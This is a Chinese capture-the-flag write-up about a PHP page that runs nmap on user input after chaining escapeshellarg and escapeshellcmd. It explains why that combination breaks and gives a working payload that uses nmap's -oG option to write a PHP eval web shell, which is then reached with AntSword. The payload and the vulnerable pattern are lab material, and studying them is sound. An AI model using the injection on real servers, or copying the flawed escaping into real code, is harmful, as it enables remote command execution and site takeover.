1.源码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
Writeup:
利用工具:
蚁剑:https://github.com/AntSwordProject/antSword
https://github.com/AntSwordProject/AntSword-Loader
2、发现是经过 escapeshellarg 和 escapeshellcmd函数过滤后 进行namp
escapeshellarg:
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
escapeshellcmd:
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入:
&#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
粗略的总结一下:
① escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的
② escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义
这两个函数本意都是防止进行额外的命令执行,但是这两个函数连在一起使用就会出现问题: escapeshellarg()+escapeshellcmd() 之殇
也就是说两个函数连续使用会造成'未被转义,从而触发命令执行
3、system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
中的$host参数是我们可控的,可以根据上面的漏洞来进行命令执行
我们一步一步地尝试(中间的一些特殊字符的转义会省略,为了着重突出'和)
由于|,&等符号都会被转义,我们可以尝试nmap命令-oG,可以实现将命令和结果写到指定文件中
我们输入payload:?host=<?php eval($_POST["c"]);?> -oG c.php
经过escapeshellarg函数:'<?php eval($_POST["c"]);?> -oG c.php'
这样两边已经被加上了单引号,Linux会把引号中的当为字符串,不会解析变量(双引号中的变量仍会解析),这样我们的shell就无法写入
根据前文提到的漏洞,我们尝试输入payload:?host='<?php eval($_POST["c "]);?> -oG c.php'
经过escapeshellarg函数:''\''<?php eval($_POST["c "]);?> -oG c.php'\'''
经过escapeshellcmd函数:''\\''<?php eval($_POST["c "]);?> -oG c.php'\\'''
拼接到system语句中:nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''<?php eval($_POST["c "]);?> -oG c.php'\\'''
即nmap -T5 -sT -Pn --host-timeout 2 -F \<?php eval($_POST["c "]);?> -oG c.php\\
-oG后的文件会变成c.php\而不是我们预期的c.php
所以我们传入正确的payload:?host=' <?php eval($_POST["c "]);?> -oG c.php '
(区别在于多加了空格 让末尾的\和php后缀分开)
4、最终去连接shell获取flag。
网友评论